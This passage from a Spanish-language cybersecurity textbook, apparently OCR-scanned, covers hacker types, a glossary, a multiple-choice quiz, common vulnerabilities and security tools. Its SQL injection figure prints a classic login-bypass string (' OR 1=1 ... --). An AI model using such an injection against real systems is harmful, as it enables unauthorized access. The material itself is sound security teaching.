tomando el control de estas, su objetivo es mostrar sus habilidades en métodos de pirateria.

o White hats o hackers blancos: Un hacker blanco busca errores en el sistema y hace saber
a las empresas las vulnerabilidades encontradas, no pretenden causar dafio, su objetivo es

mejorar la seguridad.

o Samurai: Son detectados rapidamente debido a que su amenaza es clara y directa,

realizan trabajos por encargo a cambio de dinero.

. Luser: Comunmente se encuentran frente a los hackers, controlando el sistema.
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Figura 1.2 Programas que utilizan los hackers

Programas gua utilizan los hackers
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En las ultimas dos décadas, la industria tecnoldgica ha experimentado una gran revolucion con
la innovacion de diversas herramientas que ayudan a las personas en su trabajo, a medida que
surgen nuevas tecnologias, también lo hacen la variedad y el nimero de diferentes tipos de
hackers, mientras que algunos hackers eligen atacar a personas especificas, otros apuntan a
organizaciones mas grandes, como el pentagono u otros gobiernos. A medida que evolucionan

las formas de hackear dispositivos informaticos, también lo hacen los tipos de hackers.

El hacking es una préctica para acceder a redes, computadoras, teléfonos inteligentes y tabletas
de manera no autorizada e ilegal para dafiar o destruirlos, robar datos de usuarios, archivos y
registros, o interferir con operaciones relacionadas con los datos, sin embargo, el hacking no
siempre es malo, aunque siempre se considera ilegal, también existe el hacking legal o ético,

que se realiza de manera legitima o con permiso, quien realiza hacking de manera legitima se
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llama hacker ético. Las organizaciones y empresas contratan hackers éticos para asegurarse de

que su infraestructura de TI permanezca protegida contra posibles amenazas cibernéticas.

La preocupacion por el hacking se ha vuelto crucial para muchos, ya que la informacion ahora
tiene la clave para cambiar el equilibrio de poder en los conflictos, los ciudadanos comunes
somos dafo colateral en este juego de ajedrez entre hackers, ya que todas las naciones estan
hambrientas de informacion. La capacidad de las computadoras para almacenar grandes
cantidades de datos ha inaugurado una era de conocimiento ¢ informacién, como resultado,
ahora hay mas y mas hackers buscando aprovechar las vulnerabilidades de seguridad de los

dispositivos informaticos para su propio beneficio.

A continuacién, se presentaran los tipos de hackers en la seguridad informatica, asi como las

diversas tacticas y ataques de los hackers.

o White hat hackers (hackers autorizados): Algunos de los hackers mas destacados del
mundo son los hackers de sombrero blanco, frecuentemente denominados hackers éticos, son
expertos en todo lo relacionado con la ciberseguridad y utilizan sus habilidades para identificar
los puntos vulnerables en redes y sistemas antes de que los hackers puedan explotarlos. Estos
hackers suelen trabajar para el estado o para empresas de ciberseguridad. Su objetivo principal
es ayudar a las organizaciones y agencias gubernamentales a encontrar y solucionar fallas de
ciberseguridad para evitar ataques maliciosos y, en consecuencia, la pérdida de datos

confidenciales.

o Black hat hackers (hackers criminales): Los hackers de sombrero negro, o
cibercriminales, explotan las vulnerabilidades de seguridad de un sistema con intenciones
maliciosas, acceden a sistemas o redes sin permiso. El objetivo principal de los hackers de
sombrero negro es perjudicar a una persona u organizacion especifica, robando datos,
comprometiendo sus sistemas y manipulando archivos importantes. La informacion robada se

utiliza frecuentemente para extorsion, ganancia personal o ventas en el mercado negro.

o Gray hat hackers (hackers por diversion): Los hackers de sombrero gris son una
combinacion de hackers de sombrero negro y blanco. Esto significa que los hackers de
sombrero gris hackean sistemas o redes por diversion, pero no tienen intenciones maliciosas o
incorrectas. Generalmente, realizan actividades de hacking solo por diversion y para identificar

brechas de seguridad en sistemas o redes, pero lo hacen sin permiso.
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o Green hat hackers (hackers en entrenamiento): En el campo del hacking, los hackers
de sombrero verde se consideran aficionados. Todavia estan aprendiendo y no han dominado
el arte del hacking, generalmente irrumpen en sistemas de bajo nivel propiedad de otras
personas y aun no estan interesados en objetivos mas grandes. Frecuentemente imitan a otros
tipos de hackers en un esfuerzo por aprender de ellos y mejorar sus habilidades en
ciberseguridad, el Unico motivo de los hackers de sombrero verde es aprender a realizar
ciberataques de la misma manera que los hackers de sombrero negro, y eventualmente

convertirse en hackers éticos.

o Script kiddies (hackers aficionados): Los hackers aficionados son novatos en el campo
de la ciberseguridad, intentan acceder a varios sistemas, sitios web y/o redes utilizando scripts
creados por otros. No entienden completamente los procesos y su principal motivacion es atraer
la atencion de sus compafieros. Los ataques de Denegacion de Servicio (DoS) o Denegacion de
Servicio Distribuido (DDoS) son un ejemplo.

o Blue hat hackers: Un subgrupo de hackers conocido como "Blue Hat" utiliza una téctica
similar a los "Script Kiddies". No tienen suficiente deseo de estudiar. Cuando quieren ganarse
el favor de otros miembros de su especie, emplean el hacking como arma. Recurre al hacking
para resolver sus disputas con sus enemigos. Los hackers de sombrero azul son peligrosos

debido a sus motivaciones mas que a su destreza en hacking.

o Red hat hackers: Los hackers de sombrero rojo son analogos a los hackers de sombrero
blanco. A pesar de tener objetivos similares, los hackers de sombrero blanco y rojo utilizan
enfoques muy diferentes, también se les conoce como Eagle-Eyed Hackers. Aunque intentan
combatir a los hackers de sombrero negro, sus métodos pueden ser bastante brutales. Mantienen

sus ataques de manera continua.

. Government-sponsored hackers (prevencion de amenazas internacionales): LOS
hackers patrocinados por el estado o la nacién son individuos contratados por el estado para
ofrecer ciberseguridad y robar datos sensibles de otras naciones para mantener su posicion de
poder o evitar cualquier amenaza a su nacion. Trabajan para el gobierno y son bien

remunerados.

o Hacktivists (hackers motivados politicamente): Hay muchos tipos de hacking. Los
hacktivistas son conocidos por ser los mas comprometidos politicamente entre todos. Atacan

exclusivamente sitios web gubernamentales para adquirir informacion privada y venderla al
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mejor postor en el mercado negro. Otro objetivo de los hacktivistas al hackear sistemas o redes
gubernamentales es resaltar causas sociales alarmantes. Se les conoce como activistas hackers,

a veces denominados hacktivistas, debido a su postura politica.

o Malicious insiders (informantes): Los informantes o hackers insiders maliciosos tienen
la intencion de divulgar informacidn sensible sobre una organizacion o empresa en la que estan
empleados. La divulgacion puede haberse hecho especificamente con un resentimiento personal

contra la corporacion en mente. EI motivo detras de la exposicion se determina por la causa.

o Cryptojackers (hackers de mineria de criptomonedas): Estos son los hackers que
explotan las vulnerabilidades de seguridad de una red para hackear sistemas y robar recursos
informaticos, que sirven como una forma de minar criptomonedas. Lo hacen mediante la
propagacion de virus infecciosos a través de la web llamados malware. Especificamente,
insertan cddigo malicioso en el sistema de la victima sin su conocimiento. Luego, utilizan el

sistema de la victima para minar criptomonedas.

. Elite hackers: Los hackers de élite estan entre los méas habiles en el mundo de los
cibercriminales. Son quienes descubren varios ataques de hacking de vanguardia 0 nuevas
formas de hackear sistemas o redes. En resumen, los hackers de élite son los innovadores del

mundo del hacking.

o Gaming hackers: A medida que la industria de los videojuegos ha estado en auge, tiene
su propia categoria de hackers llamados hackers de juegos. Los jugadores profesionales y de
élite invierten mucho en hardware de alto rendimiento para juegos y obtienen créditos de juego.
Mientras tanto, los hackers de juegos realizan ataques para robar los cachés de créditos de un
competidor. También intentan ataques de denegacion de servicio (DoS) para sacar a sus

contrapartes del juego.

. Botnet hackers: Son los hackers que crean bots para realizar ataques en multiples
dispositivos (tantos como sea posible). Tipicamente, apuntan a dispositivos del internet de las
cosas (loT), routers y cdmaras. Los bots pueden ser utilizados por quien los desarroll6 y otros

hackers pueden comprarlos

Glosario de términos

o Analisis de riesgos: Proceso de identificacion, evaluacion y priorizacion de riesgos para

minimizar, monitorear y controlar la probabilidad y/o impacto de eventos desafortunados.
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o Activos de informacion: Recursos valiosos de una organizacion que incluyen datos,

sistemas de informacion, servicios y personas involucradas en el manejo de la informacion.

o Integridad: Garantia de que la informacidn no se ha alterado de manera inapropiada y

se mantiene exacta y completa durante su ciclo de vida.

o Confidencialidad: Garantia de que la informacion es accesible solo para personas
autorizadas y protegida contra divulgacién no autorizada.

o Disponibilidad: Aseguramiento de que la informacion y los sistemas estan accesibles y

utilizables cuando se necesiten.

o Identificacion de amenazas: Proceso de reconocimiento de posibles amenazas que

pueden afectar la seguridad de la informacion, tanto internas como externas.

o Controles de acceso: Medidas y mecanismos implementados para garantizar que solo

personas autorizadas puedan acceder a ciertos datos o sistemas.

o Mecanismos de autenticacion: Procedimientos y tecnologias utilizados para verificar la

identidad de un usuario que intenta acceder a un sistema.

o Registros de auditoria: Registros detallados de las actividades del sistema que se utilizan

para monitorear y verificar las acciones y eventos en el sistema.

o Planes de contingencia: Estrategias preparadas para responder a situaciones de

emergencia y garantizar la continuidad del negocio.

o Copias de seguridad (Backups): Procesos y tecnologias para crear y almacenar

duplicados de datos importantes para restaurarlos en caso de pérdida o dafio.

o Estandares y regulaciones: Normativas y guias, tanto internacionales como nacionales,

que establecen las mejores practicas para la gestion de la seguridad de la informacion.

o Hacking ético: Practica de evaluar y mejorar la seguridad de sistemas mediante la

identificacion y correccion de vulnerabilidades.

o Hackers de sombrero blanco: Especialistas en hacking ético que utilizan sus habilidades

para proteger la informacion y fortalecer la seguridad.
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o Pruebas de penetracion (Pentesting): Evaluaciones de seguridad que simulan ataques

cibernéticos para identificar y corregir vulnerabilidades en sistemas y redes.

o Certificacion CEH (Certified ethical hacker): Credencial que avala el conocimiento y
habilidades de un profesional en hacking ético, demostrando su competencia'y compromiso con

las précticas éticas y legales.

o Crackers: Individuos que actuan con intenciones maliciosas y destructivas, a diferencia

de los hackers éticos.

o Evaluacién de vulnerabilidades: Proceso de identificar, cuantificar y priorizar las

vulnerabilidades en un sistema o red.

o Ciberseguridad: Organizacion y uso de recursos, procesos Yy estructuras disefiados para

proteger el ciberespacio y los sistemas habilitados en él de eventos que amenacen la seguridad.

o Hacktivismo: Uso de la tecnologia para promover una causa politica o social, que a

menudo es ambiguo en términos legales y morales.

o Recompensas por fallos de seguridad: Incentivos ofrecidos por empresas a quienes

identifiquen y reporten vulnerabilidades en sus sistemas.

o Vulnerabilidades: Debilidades en los sistemas de informacién que pueden ser

explotadas por atacantes.

o Sector financiero: Objetivo frecuente de ataques cibernéticos debido a la sensibilidad

de la informacion que maneja.

o Capacitacion del personal: Programas para educar a los empleados sobre riesgos de

seguridad y mejores practicas.

o Simulaciones y pruebas de penetracion: Tecnicas para replicar ataques cibernéticos y

evaluar la efectividad de las medidas de seguridad.

o Pérdidas financieras: Impacto econdmico negativo resultante de ciberataques exitosos.
o Ciberdelitos: Delitos cometidos a través de medios electrénicos o informaticos.
o Victimizacion: Exposicion de una persona o grupo a ser victima de un delito.

26 |Pagina



o Configuraciones de seguridad: Ajustes que protegen un sistema.
o Amenazas internas: Riesgos de seguridad provenientes de dentro de la organizacion.

o Hacker: Persona que accede a sistemas informéaticos de manera no autorizada, puede

tener intenciones tanto benignas como maliciosas.
o Black hat hacker: Hacker que realiza actividades maliciosas y criminales.

o White hat hacker: Hacker que busca vulnerabilidades para mejorar la seguridad de

sistemas con permiso.

o Gray hat hacker: Hacker que hackea por diversion sin intenciones maliciosas, a veces
sin permiso.

o Hacktivist: Hacker motivado por causas politicas o sociales.

o Malicious Insider: Empleado que divulga informacion sensible de su organizacion.
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Evaluacién de conocimientos

1. ¢Qué modelo se propone para mejorar la gestion de la seguridad de la

informacion?

a) Modelo de integracion y automatizacion
b) Modelo de mejora continua y generalidad
c) Modelo de sintesis y medicion objetiva
d) Todas las anteriores

2. ¢ Qué principios basicos se deben considerar para asegurar la confidencialidad,

integridad y disponibilidad de la informacion?

a) Andlisis de riesgos y amenazas

b) Implementacién de controles de seguridad

c) Evaluacion continua y mejora

d) Todas las anteriores

3. ¢ Cuél es el proposito principal de un hacker ético?
a) Acceder ilegalmente a sistemas informaticos

b) Identificar y corregir vulnerabilidades de seguridad

c¢) Vender informacion en el mercado negro

d) Ninguna de las anteriores

4. ¢ Cual de las siguientes certificaciones es importante para los hackers éticos?
a) CEH

b) CISSP

c) PMP
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d) CCNA

5. ¢ Coémo ayuda el hacking ético a las organizaciones?

a) Evalla los niveles de seguridad y corrige vulnerabilidades

b) Reduce la necesidad de personal de seguridad

¢) Elimina todos los riesgos de seguridad

d) Aumenta los costos operativos

6. ¢ Qué impacto tiene el hacking ético en la confianza de los clientes?
a) Disminuye la confianza de los clientes

b) No tiene impacto en la confianza de los clientes

¢) Fomenta la confianza al mostrar compromiso con la seguridad

d) Aumenta el riesgo de pérdida de datos

7. ¢ Qué aspecto es fundamental para la prevencion de ciberdelitos en adolescentes?
a) Incrementar las penas legales

b) Educacién y concienciacion sobre ciberseguridad

c) Desconectar el acceso a internet

d) Implementar mas software antivirus

8. ¢ Qué se entiende por sobreexposicién a los ciberdelitos?

a) Uso excesivo de redes sociales

b) Falta de educacion en ciberseguridad

c) Acceso constante y sin supervision a internet

d) Todas las anteriores
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9. ¢ Cual es una ventaja principal del hacking ético?

a) ldentificacion temprana de debilidades

b) Aumento de costos de seguridad

¢) Disminucién de la confianza de los clientes

d) Ninguna de las anteriores

10.  ¢Cuél es una limitacion significativa del hacking ético?
a) Falta de habilidades técnicas

b) Enfoque en amenazas internas

c) Dependencia de informacion privilegiada

d) Incremento del tiempo de prueba

11.  ¢Cuél es el objetivo principal de un hacker de sombrero negro?
a) Mejorar la seguridad de los sistemas

b) Robar datos y causar dafio

c) Ensefar a otros hackers

d) Ninguna de las anteriores

12. ¢ Qué caracteriza a un hacker de sombrero blanco?

a) Utilizan sus habilidades para propdsitos maliciosos

b) Buscan errores en sistemas para mejorar la seguridad

¢) Trabajan exclusivamente para el gobierno

d) Hackean sistemas sin permiso

13.  ¢Cuél es la motivacion principal de un hacker de sombrero gris?
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a) Robar datos y venderlos

b) Realizar actividades de hacking por diversion

c¢) Mejorar la seguridad de los sistemas

d) Trabajar para agencias gubernamentales

14.  ¢Quiénes son los "'script kiddies"?

a) Hackers que utilizan scripts creados por otros sin comprenderlos
b) Hackers altamente capacitados

¢) Hackers patrocinados por el gobierno

d) Hackers que trabajan para empresas de ciberseguridad

15.  ¢Qué tipo de hackers estan interesados en la mineria de criptomonedas?

a) Hackers de sombrero blanco
b) Hackers de sombrero negro
c¢) Cryptojackers

d) Hacktivistas
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CAPITULO 2 AMENAZAS Y VULNERABILIDADES

INTRODUCCION

Hoy estamos expuestos al crecimiento de la tecnologia y por ello debemos prepararse para estos
cambios tecnoldgicos, a medida que crece, debemos percatarnos de que las vulnerabilidades,
ataque y riegos que podemos enfrentarnos en nuestros sistemas informaticos también aumentan.
Los ataques de las personas mal intencionadas llamados hackers usamos diarios, estos atacantes
aprovechan las vulnerabilidades de la red, por ello debemos prepararse o mitigar estos ataques
garantizando la seguridad. En la seguridad informatica, no importa qué tipo de software o
hardware tengamos instalado, siempre existira una vulnerabilidad donde los atacantes quieran

entran y robar informacion confidencial.

En el mundo de la ciberseguridad es crucial entender y gestionar las amenazas y
vulnerabilidades para poder proteger la confidencialidad, integridad y disponibilidad de los
sistemas informaticos y de los datos. Las amenazas representar cualquier accién que me podria
ocasionar un gran dafio al sistema y las vulnerabilidades son debilidades en los sistemas que
pueden ser explotados por las amenazas. En este tema veremos las diferencias entre amenazas
y vulnerabilidad, asi como los tipos de vulnerabilidades y las herramientas que podemos usar
para mitigarlas y proteger nuestros datos confidenciales y que no caigamos en el error de dejar
desapercibido el peligro que pueden ocasionar si los atacantes entren a nuestros sistemas.

2.1. Diferencia entre amenazas y vulnerabilidades

Amenaza: La existencia de un peligro que ya estd, pero es independiente de que seamos
vulnerables o no. Actividad que se aprovecha de la debilidad de los sistemas informéticos para

atacarlos o poder invadirlos. Las amenazas pueden prevenir de ataques externos como internos.

Tienen un gran impacto en la confidencialidad, integridad y disponibilidad de los sistemas
informaticos y de los tics, pueden resultar en la perdida de datos, interrupcion de los servicios,
exponer informacion confidencial y de mdas riesgo importantes para la seguridad de la

informacion. (Vivar Franco, 2023)

Vulnerabilidad: Esta aparece cuando en nuestra red, dispositivos 0 sistemas existen una seria
de deficiencias que provocan que exista una posibilidad de ataque. Son puntos débiles o fallos
en una aplicacion o sistemas atacados por los ciber atacantes para atacar la seguridad. Estos

ataques pueden ser causados por los errores que estan en el disefio, la programacion,
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configuracién del sistema y estos son atacados para la denegacién de servicios, ejecucion
remota del cddigo y robo de informacion. (Vivar Franco, 2023)

2.2 Tipos de vulnerabilidades

2.2.1. Inyeccion de codigo SQL

El proposito de esta vulnerabilidad trata sobre insertar un codigo sgl con la Unica intencion de
obtener contrasefias 0 nombres de los usuarios a través del servidor de la base de datos. Este
ataque se lleva més en aplicaciones web donde el usuario puede insertar directamente sentencias
en SQL, a traveés, de los cuadros de busquedas en el sitio web que no esta protegido. El peligro
de esta vulnerabilidad es que el atacante puede modificar, borra o insertar registros en la base
de datos. Este ataque se lleva de muchas maneras, una de ellas es a través de la clausula unién,
esta me permite unir una consulta con otra y de esta forma se extiende el resultado a que la

consulta me devuelve. (Sanchez Bautista & Ramirez Chavez, 2022)

Figura 2.1 Sentencia SQL que se lanza sobre la BBDD de la web.

SELECT * FROM sec_users
Demonstragéo de SQL Injection WHERE usuario = 'camila’ AND senha = 'minhasenha

SELECT * FROM sec_users

Usudrio camila WHERE usuario ="' OR 1=1; /* ' AND senha = ' */--'

Senha minhasenha

Com SQL Injection

user "OR1=1;

pass

| I

Acessar

2.2.2. Ataque al usuario

Phishing estd disefiado especialmente para poder convencer a alguna victima a dar su
informacion personal. La mayoria de estos ataques son influenciados cuando el usuario recibe
un correo electrénico falso que puede contener una direccién de URL. Cuando el usuario da

click a esta direccion de URL se lo envia a un sitio web falso de una similitud a la pagina
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original. Una pagina web de phishing, es aquella que, como otra pagina web, sin permiso, actda
en nombre de un tercero con la intencion de poder confundir a los usuarios en la realizacion de
una accion (Benavides, Fuertes, & Sanchez, 2020). Es una forma de robo de identidad, la
persona con fines malos intenta extraer tus datos personales para poder entrar a tus cuentas o
cometer crimenes usando tus usuarios y contrasefias. (Sanchez Bautista & Ramirez Chavez,
2022)

Figura 2.2 Proceso de phishing, como los atacantes obtienen credenciales de las victimas.

Attacker sends an
email to the victim

A o =
\~_ -
Attacker Victim

Attacker uses l Attacker collects Victim clicks on the

L 4

victim’s credentials victim's credentials email and goes to
to access a website \ the phishing website

‘ Phishing Website

Legitimate Website

2.2.3. Denegacion de servicios (DoS)

Estos ataques estan especialmente en el area de las 10T donde estan conectados los dispositivos
y hacen el intercambio de datos o informacién entre ellos. La denegacion de servicio lo que
hace es inhabilitar la continuidad de comunicacion que se generan en los dispositivos gque estan
conectados, entre si, esto se lleva a cabo con el exterior en via web, en la que afecta al ancho
de banda, la lactancia y las tablas conmutadas de flujo de datos. Este ataque se logra ya que
genera varias peticiones a uno o mas servidores desde diferentes partes del mundo con el
objetivo de hacer colapsar o efectuar ataques de fuerza bruta con malwares que estan
especificamente especializados para escanear el internet y buscar dispositivos conectados al
loT. (Méarquez Diaz, 2019)
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Figura 2.3 Estructura de un ataque DDoS, controlador y bots en accion contra la victima.
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2.2.4. Cross site scripting

Los XSS aprovechan y utilizan las deficiencias de la seguridad web para permitir a los atacantes
ejecutar scripts en forma de inyeccion. Esto ocurre cuando el atacante utiliza una aplicacion
web para poder enviar codigo malicioso, principalmente en secuencia de comandos del lado del
navegador, a un usuario final que no tiene forma de saber que el script no es confiable, de

manera que lo ejecutara porque es una fuente confiable para el usuario.

Figura 2.4 Proceso de ataque de cross site scripting.
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2.3. Analisis y deteccion de vulnerabilidades

2.3.1. Analisis de vulnerabilidades

Es el control que me asegura ir minimizando el riesgo de los sistemas informaticos comenzando

con un andlisis satisfactorio, identificando regularmente las vulnerabilidades e irlas corrigiendo.
o Recopilacion de informacion: Se recolecta toda la informacion.

o Anadlisis de vulnerabilidades: Analiza la informacion obtenida de la recopilacion e

identificar todas las vulnerabilidades existentes o las posibles variables de ataque al sistema.

o Explotacion de vulnerabilidad: Se explotan las vulnerabilidades encontradas en los
sistemas que estan dentro de la red con el Unico fin de ingresar al sistema, esto se puede realizar

mediante la herramienta instalada en kali linux.

o Presentacion de informe: Se mostraran las sugerencias o recomendaciones en base a los

analisis y resultados de los ataques, para asi poder prevenir el impacto que me pueden ocasionar.
2.3.2. Técnicas para la deteccion de vulnerabilidades

Black-Box (caja negra): En ese tipo de prueba, los auditores intentar replicar el método de
prueba de explorar las vulnerabilidades que pueden ser aprovechadas por los atacantes externos,
y solo por ese motivo contiene informacion puablica sobre el sistema informético que se
analiza. Por tanto, el equipo de auditoria trata de identificar y poder explorar los posibles
agujeros de seguridad en el sistema con el mismo recurso que podria estan usando el atacante
externo. Al analizar este tipo de penetracion, la organizacion que esta afectada en cuestion
podra tener la evaluacion realista del nivel de peligro que esta expuesto su sistema informatico.
Si el equipo puede detectar este tipo de vulnerabilidad, es posible que un atacante también pueda
detectarlo. (Goémez, 2022)

White-Box (Caja blanca): En la prueba de caja blanca, los auditores disponen de toda la
informacidn requerida para poder evaluar la seguridad del sistema informatico en su estudio,
configuracion de elemento de red, cédigo fuente de la aplicacion, medidas de seguridad
implementadas, manuales de usuarios y archivos de configuracion de servidores y
aplicaciones. Este tipo de prueba requiere de un mayor esfuerzo y, por ende, de muchos mas
recursos por partes de la organizacion y del equipo de auditores. Gracias a este analisis, no solo

se pueden descubrir vulnerabilidades tipicas, sino que también se pueden encontrar fallos de
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disefio y configuraciones de sistema, esto me facilita las recomendaciones muy precisas y

especificas para solucionar estas vulnerabilidades. (Gomez, 2022)

Analisis estatico de cddigo: Este proceso se evalua el codigo sin poder ejecutarlo, es un analisis
muy poderoso porque me permite la rapida consideracion de maultiples opciones sin
comprometer al sistema. Las herramientas de este analisis pueden explorar una gran cantidad
de escenarios, no es necesario ir dentro de los procesos computacionales requeridos. Un buen
analizador proporciona una velocidad constante y una evaluacion detallada del cuerpo del
codigo fuente. Durante el proceso se analiza todos los aspectos del codigo fuente como la
sintaxis, seméntica y la estructura del programa. Es por eso que los analizadores estaticos
comparten muchos procesos comunes de un compilador, esto se debe a que los compiladores
realizan analisis sintacticos y semanticos del cddigo para garantizar el cumplimiento de la
normativa gramatical a la que se traduce el codigo a lenguaje de maquina. Todo esto lo realiza
el analizador con la gran diferencia de que no se ejecuta ninguna linea de codigo. (Garcia Meza,
2023)

Analisis dinamico de codigo: Este analisis se basa mas bien en el comportamiento dindmico de
los scripts, muy contrario al analisis estatico. Esta técnica no tiene en cuenta la forma en que
pueda estar escrito el codigo, lo que realiza es una simulacién del script usando un intérprete
de JavaScript para poder ejecutar el codigo y proporcionar componentes principales del sitio
web. Los scripts suelen interactuar con los componentes basicos de la web, pero no es
suficiente. Para evitar que el sistema este comprometido se utiliza una maquina virtual o
sandbox. El script se ejecutara seguramente, pero nunca sabremos si va a hacer maligno o no,
ya que ejecutandolo no se ve. Para esto tenemos ADSandbox, este programa extrae el script de
codigo en HTML y lo cambia a un objeto Ilamado JavaScriptExecution. Esta me crea una
instancia del SpiderMonkey para poder ejecutar el script. Cada vez que un objeto es accedido,
este motor se cambia para realizar un llamado a la funcion callback estatica correspondiente del
objeto JavaScriptExecution, para que de esta forma conseguir crear un registro de estas sesiones

realizadas por el programa.
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2.4. Herramientas para la deteccion de vulnerabilidades

2.4.1. Trafico de red

Wireshark: Esta herramienta me permite analizar los paquetes de datos que viajaban de ida y
de vuelta dentro de la red, asi como también, analiza los protocolos de comunicacion que se
estan ejecutando. Una de sus ventajas es que me puede presentar resultados, ya que esta
herramienta tiene un entorno grafico facil que es interpretado de manera sencilla por el auditor

o el evaluador. (Hurtado Vargas & Calero Suntasig, 2020)

Sus principales caracteristicas son:

o Disponible para windows y linux que son las mas importantes.

o Me muestra con la informacion detallada de los paquetes.

o Permite abrir y guardar los paquetes capturados.

o Filtrado de informacidn por protocolos, paquetes IP’s, entre otros.

Tcpdump: Esta herramienta se ejecuta por la linea de comandos, es original de Linux. La
captura de los paquetes se realiza mediante una interfaz de red, toda esta informacion capturada
se almacena en un fichero que ya estd previamente determinado, para poder ver esta
interpretacion de resultados se debe abrir el fichero que esta guardado en otra aplicacién como

lo es la herramienta wireshark. (Hurtado Vargas & Calero Suntasig, 2020)
Sus principales caracteristicas:

o Los paquetes son capturados en tiempo real desde la interfaz de red
o Me permite que los ficheros sean usados para guardar los paquetes.

Snort: Esta herramienta me permite analizar en trafico de red en tiempo real, pero se utiliza de
una manera mas eficiente, la deteccion de intrusos y el escaneo de puertos que estan dentro de

la red. (Hurtado Vargas & Calero Suntasig, 2020)
Sus principales caracteristicas:

o Analiza los protocolos de la red.
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o Captura los paquetes en tiempo real desde uno o mas interfaces de red.
. Me presenta un infirme bien detallado de los resultados obtenidos.
2.4.2. Verificacion de puertos

Matelgo: Es una herramienta que me recolecta la informacion del internet, mensajes en linea u
organizaciones, permite la recuperacion mutua de informacion de cuentas de red, redes sociales
y correos electrénicos. Este programa tiene dos tipos de modulos, el modulo profesional y el
modulo béasico. La clave de los mddulos de matelgo es que puede acceder a cada version. Esta
cuenta con una interfaz gréfica, su licencia es propietaria y también existe una version de pago

y gratis. (Castro Vasquez, 2019)

Nmap: Es una herramienta que los atacantes usan para poder hacer un escaneo y recupera la
informacidn, muy util para recopilar datos de hosts remotos o validar la identificacion de los
indicadores, su funcion en la operacion de escaneo de puertos se utiliza para encontrar el puerto
que este abierto y servicios de hosts en internet con el fin de combatir en creciente nimero de
dispositivos conectados a internet. También es usado como herramienta de pruebas de
penetracion para evaluar el rendimiento del IDS e identificar sus defectos. (Si Liao, y otros,
2020)

Debido por su versatilidad, capacidad, portabilidad y facilidad de uso, Nmap es muy apreciado,
es una herramienta versatil, puede mapear una red utilizando filtros de paquetes, firewalls,
enrutadores y otras barreras (Chaudhary & Pandey, 2022).Su utilidad es poder escanearme la
red de datos para que pueda localizar los puertos TCP o UDP que se encuentran abiertos, cuando
se localiza un puerto abierto se hace una conexion para poder verificar si hay una aplicacion

ejecutandose dentro del puerto que estéd abierto. (Hurtado Vargas & Calero Suntasig, 2020)

Sus principales caracteristicas:

o Descubrir equipos sobre la red.

o Identificacion de puerto abiertos.

o Detecta servicios o aplicacion que se esté ejecutando dentro de una aplicacion.
o Identificacion tipo de version y que sistema operativo utiliza.
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Acunetix: Es un escaner de vulnerabilidades web automatizado que examina cualquier
aplicacion o sitio que use un navegador y que emplee protocolos HTTP o HTTPS. Investiga las
vulnerabilidades de los sitios web mediante la identificacion de secuencias de comandos entre
sitios, inyeccion SQL y otras. Es una solucion completa para detectar la seguridad de las
aplicaciones web; se puede usar de manera independiente 0 como parte de un ambiente méas
amplio. Incluye maltiples funciones con herramientas de desarrollo de software econdmico,
ademas de la deteccion y administracion de vulnerabilidades conocidas integradas. (Rajan &
Erturk, 2017)

OpenVas: Es una herramienta de escaner completo, sus caracteristicas son: realizar pruebas no
autenticadas y pruebas autenticadas y un poderoso lenguaje de programacion interno que le
permite verificar cualquier tipo de agujeros de seguridad. Cuenta con su propio lenguaje para
poder implementar cualquier tipo de prueba de vulnerabilidad (Castro Vasquez, 2019). Es una
herramienta gratuita para poder evaluar vulnerabilidades, como resultado, podemos examinar
computadoras, servidores locales, remotos y producir una variedad de informes sobre las fallas

identificadas.

Ossec: Es un sistema de deteccion de intrusos (HIDS) gratuito y de codigo abierto. Es un
software adaptado a las exigencias de seguridad, analiza los registros de eventos del sistema
operativo, verifica la integridad de los registros de dispositivos Windows, detecta alertas y
rootkints en tiempo real y responde proactivamente a los ataques son sus funciones. Esta
herramienta se emplea para prevenir, detectar y responder a las amenazas. Es utilizado por miles
de empresas desde pequefias hasta grandes, protege las cargas de trabajo en ambientes locales,
virtualizados, en contenedores y basados en la nube.

Owasp: Es una herramienta de prueba de penetracion de aplicacion web integrada, es de cddigo
abierto y muy facil de utilizar. Se cre6 para poder ser utilizado por profesionales y principiantes
(Sagar, Kukreja, Brahma, Tyagi, & Jain, 2018). Se utiliza para identificar agujeros de seguridad
en aplicaciones en linea, ZAP es definido por OWASP como una herramienta facil de usar para
probar la penetracion de aplicaciones web que es completa para identificar vulnerabilidades. Es
perfecto para desarrolladores y probadores funcionales para evaluaciones de seguridad
automatizadas. Sin embargo, debe usarse tanto en aplicaciones originales como en aquellas a

las que se les ha dado permiso para realizar pruebas. (Paudel, 2016)
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Nessus: Es una herramienta cuyo objetivo es buscar las debilidades y poder escanear todo tipo
de sistemas operativos, aplicaciones y dispositivos de red, ya sean servidores, dispositivos
moviles, routers y firewalls (Castro Vasquez, 2019). Realiza analisis profundos y ultrarrapidos
para identificar vulnerabilidades antes de que lo haga un atacante. EI método utiliza una
estrategia basada en el riesgo para reconocer y evaluar debilidades (Chaudhary & Pandey,
2022). Utiliza exploits para explotar las vulnerabilidades y sus resultados que presentan pueden

ser interpretados por el auditor o evaluador. (Hurtado Vargas & Calero Suntasig, 2020)

Sus principales caracteristicas:

o Utiliza exploits para la explotacion de las vulnerabilidades.
. Se actualiza constantemente.
o Sus resultados son presentados de forma grafica.

Nexpose: Recopila datos en tiempo real para proporcionar una vision continua de la red
cambiante de una organizacioén. La puntuacién varia de 1 a 10, este espectro de vulnerabilidad
desarroll6 su propio rango de puntuacion de riesgo de 1 a 1000 para proporcionar mas detalles.
Establecer la antigiiedad de la vulnerabilidad, probarla, encontrar su solucion e identificar

cualquier programa maligno o kits de explotacion publicos. (Chaudhary & Pandey, 2022)

Netcat: Herramienta de codigo abierto que permite realizar un escaneo sobre la red para poder
identificar o localizar los puertos abiertos, esto se realiza mediante un Shell y forzar las
conexiones TCP/UDP con el Unico objetivo de rastrear puertos o el traslado de archivos entre

equipos. (Hurtado Vargas & Calero Suntasig, 2020)
Sus principales caracteristicas son:

o Escaneo de los puestos TCP y UDP

o Escaneo sobre los protocolos IPv4 e IPv6
2.4.3. Captura de contrasefas

Kismet: Es una herramienta de software libre, me permite la deteccion de los intrusos en las

redes inaldmbricas, es decir, que seria un sniffer que esta de forma pasiva dentro de la red,
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donde no me envia paquetes que pueden ser detectados y su objetivo es localizar puntos de

acceso y clientes inaldmbricos. (Hurtado Vargas & Calero Suntasig, 2020)

Sus principales caracteristicas:

. Funciona de forma pasiva
. Me permite la exportacion de archivos de trafico que estan guardados en wireshark
o Sistema de deteccion de los intrusos

Aircrack-ng: Es una herramienta de cddigo abierto disefiada para analizar e inyectar paquetes
en diferentes plataformas, con el propdsito de descifrar claves de redes inalambricas. Permite
